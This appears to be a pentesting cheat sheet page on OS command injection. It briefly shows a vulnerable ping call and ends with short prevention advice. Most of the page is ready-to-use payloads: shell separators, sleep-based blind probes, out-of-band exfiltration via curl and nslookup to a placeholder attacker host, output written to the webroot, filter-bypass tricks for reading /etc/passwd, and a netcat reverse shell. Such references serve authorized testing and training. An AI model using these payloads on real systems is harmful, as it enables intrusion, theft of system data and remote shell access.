Command Injection

Separators, blind/out-of-band techniques & filter bypass

Command Injection Cheat Sheet

Detect and exploit OS command injection — separators, blind techniques, and filter bypass — plus how to prevent it. For authorized testing only.

The app passes user input into a shell command:

system("ping -c 1 " . $_GET['host']);

You give host=8.8.8.8; id and the shell runs id too.

Operator	Effect
`;`	run both (Linux)
`&&`	run second if first succeeds
`\|\|`	run second if first fails
`\|`	pipe output
`&`	background / run both
`id` / `$(id)`	command substitution
`%0a` (newline)	works when other chars are filtered

8.8.8.8; id
8.8.8.8 && whoami
8.8.8.8 | id
8.8.8.8 $(id)
| id

Time-based — confirm execution by delay:

8.8.8.8 && sleep 5
8.8.8.8 & ping -c 5 127.0.0.1 &

Out-of-band — make the server reach out to you:

8.8.8.8; curl http://YOUR.host/$(whoami)
8.8.8.8; nslookup `whoami`.YOUR.collaborator.net

File-based — write output where you can read it:

8.8.8.8; id > /var/www/html/out.txt

Blocked spaces: ${IFS} → cat${IFS}/etc/passwd, or cat</etc/passwd, or %09 (tab)
Blocked slashes: ${HOME} tricks, or cat$IFS$9${HOME:0:1}etc${HOME:0:1}passwd
Blocked keywords: insert quotes — c''at /etc/passwd, w'h'o'am'i, \c\a\t
Char from hex: $(printf '\x2f') for /
Concatenation: a=/etc/pa;b=sswd;cat $a$b

; id
; uname -a
; cat /etc/passwd
; busybox nc YOUR.host 4444 -e /bin/sh   # reverse shell (see the reverse-shell sheet)

& whoami
&& dir
| whoami
%0a whoami

Don't call the shell with user input. Use APIs that take arg arrays, not strings (execve, subprocess.run([...] , shell=False)).
If you must, allowlist the input (e.g. validate it's a real IP/hostname) — never blocklist characters.
Drop privileges; run the service as a low-priv user.

Authorized targets only. Practice on the AYSEC web challenges. See also the reverse shell, SQL injection, and XSS cheat sheets.